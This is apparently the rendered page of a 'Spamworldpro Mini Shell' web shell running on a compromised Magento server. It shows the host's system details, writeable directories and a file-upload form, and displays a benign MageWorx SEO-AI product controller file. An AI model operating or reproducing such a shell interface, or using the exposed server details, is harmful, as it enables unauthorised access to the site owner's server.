Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/mageworx/module-seo-ai/Controller/Adminhtml/Product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/mageworx/module-seo-ai/Controller/Adminhtml/Product/Generate.php
<?php

namespace MageWorx\SeoAI\Controller\Adminhtml\Product;

use Magento\Backend\App\Action;
use Magento\Backend\App\Action\Context;
use Magento\Framework\Controller\ResultFactory;
use Magento\Framework\Controller\ResultInterface;
use Magento\Framework\Exception\LocalizedException;
use Magento\Framework\Serialize\Serializer\Json;
use MageWorx\SeoAI\Model\GeneratorFactory;
use Psr\Log\LoggerInterface;
use Magento\Store\Model\App\Emulation as AppEmulation;
use Magento\Store\Model\StoreManagerInterface;

class Generate extends Action
{
    protected GeneratorFactory $generatorFactory;

    /**
     * @var LoggerInterface
     */
    protected LoggerInterface $logger;

    /**
     * @var Json
     */
    protected Json $jsonSerializer;

    protected AppEmulation          $appEmulation;
    protected StoreManagerInterface $storeManager;

    /**
     * @param Context $context
     * @param GeneratorFactory $generatorFactory
     * @param Json $jsonSerializer
     * @param LoggerInterface $logger
     */
    public function __construct(
        Context               $context,
        GeneratorFactory      $generatorFactory,
        Json                  $jsonSerializer,
        AppEmulation          $appEmulation,
        StoreManagerInterface $storeManager,
        LoggerInterface       $logger
    ) {
        $this->generatorFactory = $generatorFactory;
        $this->jsonSerializer   = $jsonSerializer;
        $this->appEmulation     = $appEmulation;
        $this->storeManager     = $storeManager;
        $this->logger           = $logger;
        parent::__construct($context);
    }

    /**
     * Execute action based on request and return result
     *
     * @return ResultInterface
     */
    public function execute(): ResultInterface
    {
        /** @var \Magento\Framework\Controller\Result\Json $resultObject */
        $resultObject = $this->resultFactory->create(ResultFactory::TYPE_JSON);

        // Used to detect corresponding model
        $messageType = $this->getRequest()->getParam('message_type');
        try {
            $messageModel = $this->generatorFactory->create($messageType);
        } catch (LocalizedException $exception) {
            $resultObject->setJsonData(
                $this->jsonSerializer->serialize(
                    ['error' => true, 'message' => $exception->getLogMessage()]
                )
            );

            return $resultObject;
        }

        $productId          = (int)$this->getRequest()->getParam('product_id');
        $storeId            = (int)$this->getRequest()->getParam('store_id') ?? 0;
        $openAIModel        = $this->getRequest()->getParam('openai_model') ?? 'gpt-3.5-turbo';
        $selectedAttributes = $this->getRequest()->getParam('product_attributes') ?? [];
        $temperature        = (float)$this->getRequest()->getParam('temperature') ?: 1;
        $numberOfResults    = (int)$this->getRequest()->getParam('number_of_results') ?: 1;

        // Emulate store to make result in selected store language (including attribute names)
        $this->appEmulation->startEnvironmentEmulation($storeId);
        $result = $messageModel->execute(
            $productId,
            $storeId,
            $openAIModel,
            $selectedAttributes,
            $temperature,
            $numberOfResults
        );
        $this->appEmulation->stopEnvironmentEmulation();

        $this->logger->info('RESULT: ');
        $this->logger->info($result);

        $resultObject->setJsonData($result);

        return $resultObject;
    }
}

Spamworldpro Mini